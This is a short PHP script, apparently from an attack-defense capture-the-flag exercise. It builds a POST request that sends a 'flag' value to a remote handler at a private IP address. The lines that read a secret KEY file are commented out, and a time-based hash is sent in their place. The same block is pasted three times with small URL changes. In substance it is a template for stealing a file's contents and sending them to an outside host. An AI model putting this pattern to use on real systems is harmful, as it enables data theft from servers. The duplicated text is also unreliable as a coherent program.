<?php
/**
 * Created by PhpStorm.
 * User: Weizehua
 * Date: 8/5/2016
 * Time: 22:38
 */
$flag_path_file = "/var/www/shell/test/KEY";
$remote_flag_handler_path = 'http://192.168.40.135:81/flag_handler.php';

// get flag
//$flag_path = file_get_contents($flag_path_file);
//$flag = file_get_contents($flag_path);

$flag = md5(strval(time()));
// post flag
$post_data = http_build_query(array('flag'=>$flag));
$opt = array('http'=>array(
    'method'=>'POST',
    'header'=> 'Content-Type: application/x-www-form-urlencoded',
    'content'=> $post_data
));
file_get_contents($remote_flag_handler_path, false, stream_context_create($opt));

/**
 * Created by PhpStorm.
 * User: Weizehua
 * Date: 8/5/2016
 * Time: 22:38
 */
$flag_path_file = "/var/www/shell/test/KEY";
$remote_flag_handler_path = "http://192.168.40.135:81//handler/flag_handler.php";

// get flag
//$flag_path = file_get_contents($flag_path_file);
//$flag = file_get_contents($flag_path);

$flag = md5(strval(time()));
// post flag
$post_data = http_build_query(array('flag'=>$flag));
$opt = array('http'=>array(
    'method'=>'POST',
    'header'=> 'Content-Type: application/x-www-form-urlencoded',
    'content'=> $post_data
));
file_get_contents($remote_flag_handler_path, false, stream_context_create($opt));


/**
 * Created by PhpStorm.
 * User: Weizehua
 * Date: 8/5/2016
 * Time: 22:38
 */
$flag_path_file = "/var/www/shell/test/KEY";
$remote_flag_handler_path = "http://192.168.40.135:81//handler/flag_handler.php";

// get flag
//$flag_path = file_get_contents($flag_path_file);
//$flag = file_get_contents($flag_path);

$flag = md5(strval(time()));
// post flag
$post_data = http_build_query(array('flag'=>$flag));
$opt = array('http'=>array(
    'method'=>'POST',
    'header'=> 'Content-Type: application/x-www-form-urlencoded',
    'content'=> $post_data
));
file_get_contents($remote_flag_handler_path, false, stream_context_create($opt));